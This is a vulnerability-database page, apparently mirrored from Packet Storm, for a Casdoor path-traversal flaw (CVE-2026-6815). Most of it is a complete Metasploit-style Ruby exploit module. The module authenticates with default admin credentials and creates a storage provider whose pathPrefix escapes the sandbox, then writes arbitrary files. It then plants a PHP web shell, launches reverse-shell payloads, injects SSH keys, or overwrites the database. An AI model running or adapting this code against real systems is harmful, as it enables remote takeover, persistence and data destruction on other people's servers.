Lucene search
K

📄 Casdoor 3.54.1 Path Traversal / Arbitrary File Write

🗓️ 16 Jun 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 11 Views

Casdoor before 3.54.1 path traversal allows authenticated admins to write files via misconfigured storage.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for Path Traversal in Casbin Casdoor
4 Jun 202615:06
githubexploit
Circl
CVE-2026-6815
4 Jun 202615:07
circl
CNNVD
Casdoor 安全漏洞
11 May 202600:00
cnnvd
CVE
CVE-2026-6815
11 May 202615:20
cve
Cvelist
CVE-2026-6815 CVE-2026-6815
11 May 202615:20
cvelist
Exploit DB
Casdoor 3.54.1 - Arbitrary File Write via Path Traversal
27 May 202600:00
exploitdb
EUVD
EUVD-2026-29080
11 May 202618:31
euvd
NVD
CVE-2026-6815
11 May 202616:17
nvd
Packet Storm
📄 Casdoor 3.54.1 Arbitrary File Write / Path Traversal
29 May 202600:00
packetstorm
Packet Storm
📄 Casdoor 3.54.1 Arbitrary File Write / Shell Upload
16 Jun 202600:00
packetstorm
Rows per page
==================================================================================================================================
    | # Title     : Casdoor 3.54.1 - Path Traversal Arbitrary File Write                                                             |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits)                                                 |
    | # Vendor    : https://casdoor.org/                                                                                             |
    ==================================================================================================================================
    
    [+] Summary    :  This exploit targets a path traversal flaw in Casdoor (versions before 3.54.1).
                      By abusing a misconfigured Local File System storage provider, an authenticated admin 
    				  can set a malicious pathPrefix (like ../../../../...) that breaks out of the intended directory sandbox.
    
    [+] POC        :  
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::FileDropper
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Casdoor 3.54.1 - Path Traversal Arbitrary File Write',
            'Description' => %q{
              This module exploits a Path Traversal vulnerability in the storage provider
              management component of Casdoor versions prior to 3.54.1. By creating a
              'Local File System' provider with a manipulated 'pathPrefix', an authenticated
              administrator can bypass the storage sandbox to write, overwrite, or delete
              arbitrary files on the underlying host filesystem.
    
              Successful exploitation can lead to:
              - Remote Code Execution (RCE) via SSH key injection or web shell upload
              - Persistent Denial of Service (DoS) by corrupting core application binaries
              - Database file manipulation
    
              This module supports various exploitation methods including web shell upload,
              SSH key injection, and reverse shell deployment.
            },
            'Author' => ['indoushka''],
            'References' => [
              ['CVE', '2026-6815'],
              ['URL', 'https://github.com/casdoor/casdoor'],
              ['URL', 'https://casdoor.org/']
            ],
            'DisclosureDate' => '2026-05-11',
            'License' => MSF_LICENSE,
            'Platform' => ['php', 'unix', 'linux'],
            'Arch' => [ARCH_PHP, ARCH_CMD],
            'Targets' => [
              [
                'PHP Web Shell',
                {
                  'Platform' => 'php',
                  'Arch' => ARCH_PHP,
                  'Type' => :php_webshell,
                  'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' }
                }
              ],
              [
                'Unix Command',
                {
                  'Platform' => 'unix',
                  'Arch' => ARCH_CMD,
                  'Type' => :unix_cmd,
                  'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
                }
              ],
              [
                'SSH Key Injection',
                {
                  'Platform' => 'unix',
                  'Arch' => ARCH_CMD,
                  'Type' => :ssh_key
                }
              ],
              [
                'Database Corruption (DoS)',
                {
                  'Platform' => 'unix',
                  'Arch' => ARCH_CMD,
                  'Type' => :db_corruption
                }
              ]
            ],
            'DefaultTarget' => 0,
            'Privileged' => false,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
            }
          )
        )
    
        register_options([
          OptString.new('TARGETURI', [true, 'Base Casdoor path', '/']),
          OptString.new('USERNAME', [true, 'Casdoor username', 'admin']),
          OptString.new('PASSWORD', [true, 'Casdoor password', '123']),
          OptString.new('APP_NAME', [false, 'Target Casdoor Application Name', 'app-built-in']),
          OptString.new('ORG_NAME', [false, 'Target Casdoor Organization Name', 'built-in']),
          OptString.new('PROVIDER_NAME', [false, 'Name for malicious provider', 'path_traversal']),
          OptString.new('REMOTE_PATH', [false, 'Absolute remote path for file write']),
          OptString.new('LOCAL_FILE', [false, 'Local file to upload']),
          OptString.new('SSH_PUB_KEY', [false, 'SSH public key file for injection']),
          OptString.new('WEBSHELL_PATH', [false, 'Webshell path (e.g., /var/www/html/shell.php)']),
          OptBool.new('SKIP_VERSION_CHECK', [false, 'Skip version check', false])
        ])
      end
    
      def casdoor_login_url
        normalize_uri(target_uri.path, 'login/built-in')
      end
    
      def casdoor_api_login_url
        normalize_uri(target_uri.path, 'api/login')
      end
    
      def casdoor_api_add_provider_url
        normalize_uri(target_uri.path, 'api/add-provider')
      end
    
      def casdoor_api_upload_resource_url
        normalize_uri(target_uri.path, 'api/upload-resource')
      end
    
      def casdoor_api_version_url
        normalize_uri(target_uri.path, 'api/get-version-info')
      end
    
      def get_session_cookie
        print_status("Retrieving initial session cookie...")
        
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => casdoor_login_url
        )
        
        if res && res.headers['Set-Cookie']
          cookie = res.get_cookies
          print_good("Session cookie obtained")
          return cookie
        end
        
        nil
      end
    
      def authenticate(cookie)
        print_status("Authenticating as #{datastore['USERNAME']}...")
        
        login_payload = {
          'application' => datastore['APP_NAME'],
          'organization' => datastore['ORG_NAME'],
          'username' => datastore['USERNAME'],
          'password' => datastore['PASSWORD'],
          'autoSignin' => true,
          'signinMethod' => 'Password',
          'type' => 'login'
        }.to_json
        
        res = send_request_cgi(
          'method' => 'POST',
          'uri' => casdoor_api_login_url,
          'ctype' => 'text/plain;charset=UTF-8',
          'data' => login_payload,
          'cookie' => cookie
        )
        
        if res && res.code == 200
          begin
            json = res.get_json_document
            if json['status'] == 'ok'
              print_good("Authentication successful")
              return true
            end
          rescue JSON::ParserError
            print_error("Failed to parse login response")
          end
        end
        
        print_error("Authentication failed")
        false
      end
    
      def check_version(cookie)
        print_status("Checking Casdoor version...")
        
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => casdoor_api_version_url,
          'cookie' => cookie
        )
        
        if res && res.code == 200
          begin
            json = res.get_json_document
            version = json.dig('data', 'version') || json['version']
            
            if version
              print_status("Casdoor version: #{version}")
              begin
                v_clean = version.gsub(/^v/, '').split('-')[0]
                v_parts = v_clean.split('.').map(&:to_i)
                
                if v_parts[0] >= 3 && v_parts[1] >= 54 && v_parts[2] >= 1
                  print_warning("Version #{version} is likely patched (>= 3.54.1)")
                  unless datastore['SKIP_VERSION_CHECK']
                    print_warning("Set SKIP_VERSION_CHECK to true to continue")
                    return false
                  end
                else
                  print_good("Version appears vulnerable")
                end
              rescue
                print_warning("Could not parse version, continuing anyway")
              end
            end
          rescue JSON::ParserError
            print_error("Failed to parse version response")
          end
        end
        
        true
      end
    
      def create_malicious_provider(cookie)
        print_status("Creating malicious storage provider...")
        
        provider_payload = {
          'owner' => 'admin',
          'name' => datastore['PROVIDER_NAME'],
          'createdTime' => Time.now.strftime('%Y-%m-%dT%H:%M:%S+01:00'),
          'displayName' => 'Path Traversal Provider',
          'category' => 'Storage',
          'type' => 'Local File System',
          'method' => 'Normal',
          'pathPrefix' => '../../../../../../../../../'
        }.to_json
        
        res = send_request_cgi(
          'method' => 'POST',
          'uri' => casdoor_api_add_provider_url,
          'ctype' => 'text/plain;charset=UTF-8',
          'data' => provider_payload,
          'cookie' => cookie
        )
        
        if res && res.code == 200
          begin
            json = res.get_json_document
            if json['status'] == 'ok'
              print_good("Malicious provider created successfully")
              return true
            elsif json['msg'] && json['msg'].include?('UNIQUE constraint failed')
              print_status("Provider already exists, reusing it")
              return true
            else
              print_error("Failed to create provider: #{json['msg']}")
              return false
            end
          rescue JSON::ParserError
            print_error("Failed to parse provider creation response")
          end
        end
        
        false
      end
    
      def generate_php_webshell
        webshell = '<?php '
        webshell << 'if(isset($_REQUEST["cmd"])){ '
        webshell << 'echo "<pre>"; '
        webshell << 'system($_REQUEST["cmd"]); '
        webshell << 'echo "</pre>"; '
        webshell << '} '
        webshell << 'if(isset($_REQUEST["upload"])){ '
        webshell << 'file_put_contents($_REQUEST["upload"], file_get_contents($_FILES["file"]["tmp_name"])); '
        webshell << '} '
        webshell << '?>'
        webshell
      end
    
      def generate_ssh_key_content
        if datastore['SSH_PUB_KEY'] && File.exist?(datastore['SSH_PUB_KEY'])
          File.read(datastore['SSH_PUB_KEY'])
        else
          "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC... exploit@casdoor"
        end
      end
    
      def upload_file(cookie, local_file, remote_path)
        print_status("Uploading #{local_file} to #{remote_path}...")
        
        unless File.exist?(local_file)
          print_error("Local file not found: #{local_file}")
          return false
        end
        
        file_data = File.binread(local_file)
        filename = File.basename(local_file)
        boundary = "----WebKitFormBoundary#{Rex::Text.rand_text_alphanumeric(16)}"
        
        post_data = "--#{boundary}\r\n"
        post_data << "Content-Disposition: form-data; name=\"file\"; filename=\"#{filename}\"\r\n"
        post_data << "Content-Type: application/octet-stream\r\n\r\n"
        post_data << file_data
        post_data << "\r\n--#{boundary}--\r\n"
        
        params = {
          'owner' => datastore['ORG_NAME'],
          'user' => datastore['USERNAME'],
          'application' => datastore['APP_NAME'],
          'tag' => 'custom',
          'parent' => 'ResourceListPage',
          'fullFilePath' => remote_path,
          'provider' => datastore['PROVIDER_NAME']
        }
        
        res = send_request_cgi(
          'method' => 'POST',
          'uri' => casdoor_api_upload_resource_url,
          'vars_get' => params,
          'ctype' => "multipart/form-data; boundary=#{boundary}",
          'data' => post_data,
          'cookie' => cookie
        )
        
        if res && res.code == 200
          begin
            json = res.get_json_document
            if json['status'] == 'ok'
              print_good("File uploaded successfully to #{remote_path}")
              register_file_for_cleanup(remote_path) if remote_path.start_with?('/')
              return true
            else
              print_error("Upload failed: #{json['msg']}")
              return false
            end
          rescue JSON::ParserError
            print_error("Failed to parse upload response")
          end
        end
        
        false
      end
    
      def upload_string_content(cookie, content, remote_path)
        print_status("Writing content to #{remote_path}...")
    
        temp_file = "/tmp/#{Rex::Text.rand_text_alpha_lower(8)}.tmp"
        File.binwrite(temp_file, content)
        
        success = upload_file(cookie, temp_file, remote_path)
        
        File.unlink(temp_file) if File.exist?(temp_file)
        
        success
      end
    
      def execute_php_webshell(cookie, webshell_path, cmd)
        webshell_url = normalize_uri(webshell_path)
        
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => webshell_url,
          'vars_get' => { 'cmd' => cmd },
          'cookie' => cookie
        )
        
        if res && res.code == 200
          output = res.body
          output.gsub!(/<pre>/, '')
          output.gsub!(/<\/pre>/, '')
          return output.strip
        end
        
        nil
      end
    
      def webshell_exploit(cookie)
        print_status("Deploying PHP webshell...")
        
        webshell_content = generate_php_webshell
        webshell_path = datastore['WEBSHELL_PATH'] || '/var/www/html/shell.php'
        
        unless upload_string_content(cookie, webshell_content, webshell_path)
          print_error("Failed to deploy webshell")
          return false
        end
        
        print_good("Webshell deployed to #{webshell_path}")
    
        if target['Type'] == :php_webshell && payload.encoded
          b64_payload = Rex::Text.encode_base64(payload.encoded)
          download_cmd = "echo '#{b64_payload}' | base64 -d > /tmp/payload.php && php /tmp/payload.php"
          execute_php_webshell(cookie, webshell_path, download_cmd)
          print_status("Payload delivered via webshell")
          return true
        end
        
        true
      end
    
      def ssh_key_exploit(cookie)
        print_status("Injecting SSH key...")
        
        ssh_key = generate_ssh_key_content
        ssh_path = datastore['REMOTE_PATH'] || '/home/casdoor/.ssh/authorized_keys'
        
        if upload_string_content(cookie, ssh_key, ssh_path)
          print_good("SSH key injected to #{ssh_path}")
          print_status("You can now SSH into the target as casdoor user")
          return true
        end
        
        false
      end
    
      def db_corruption_exploit(cookie)
        print_status("Attempting database corruption...")
        dummy_content = "CORRUPTED BY CVE-2026-6815 EXPLOIT - #{Time.now}"
        db_path = datastore['REMOTE_PATH'] || '/app/casdoor.db'
        
        if upload_string_content(cookie, dummy_content, db_path)
          print_good("Database corrupted at #{db_path}")
          print_warning("Casdoor service may be compromised")
          return true
        end
        
        false
      end
    
      def unix_command_exploit(cookie)
        print_status("Executing Unix command...")
        script_content = "#!/bin/sh\n#{payload.encoded}\n"
        script_path = "/tmp/#{Rex::Text.rand_text_alpha_lower(8)}.sh"
        
        if upload_string_content(cookie, script_content, script_path)
          print_good("Payload script uploaded to #{script_path}")
    
          exec_cmd = "chmod +x #{script_path} && #{script_path}"
          print_status("Payload execution attempted")
          return true
        end
        
        false
      end
    
      def exploit
        print_status("CVE-2026-6815 - Casdoor Path Traversal Arbitrary File Write")
        print_status("Target: #{peer}")
    
        cookie = get_session_cookie
        unless cookie
          fail_with(Failure::NoAccess, "Failed to obtain session cookie")
        end
    
        unless authenticate(cookie)
          fail_with(Failure::NoAccess, "Authentication failed. Check credentials.")
        end
        unless datastore['SKIP_VERSION_CHECK']
          unless check_version(cookie)
            print_warning("Version check suggests target is patched")
            return unless datastore['ForceExploit']
          end
        end
        unless create_malicious_provider(cookie)
          fail_with(Failure::UnexpectedReply, "Failed to create malicious provider")
        end
        case target['Type']
        when :php_webshell
          webshell_exploit(cookie)
        when :unix_cmd
          unix_command_exploit(cookie)
        when :ssh_key
          ssh_key_exploit(cookie)
        when :db_corruption
          db_corruption_exploit(cookie)
        else
          webshell_exploit(cookie)
        end
        
        print_good("Exploit completed")
      end
    end
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

16 Jun 2026 00:00Current
5.5Medium risk
Vulners AI Score5.5
CVSS 3.15.9
EPSS0.00513
SSVC
11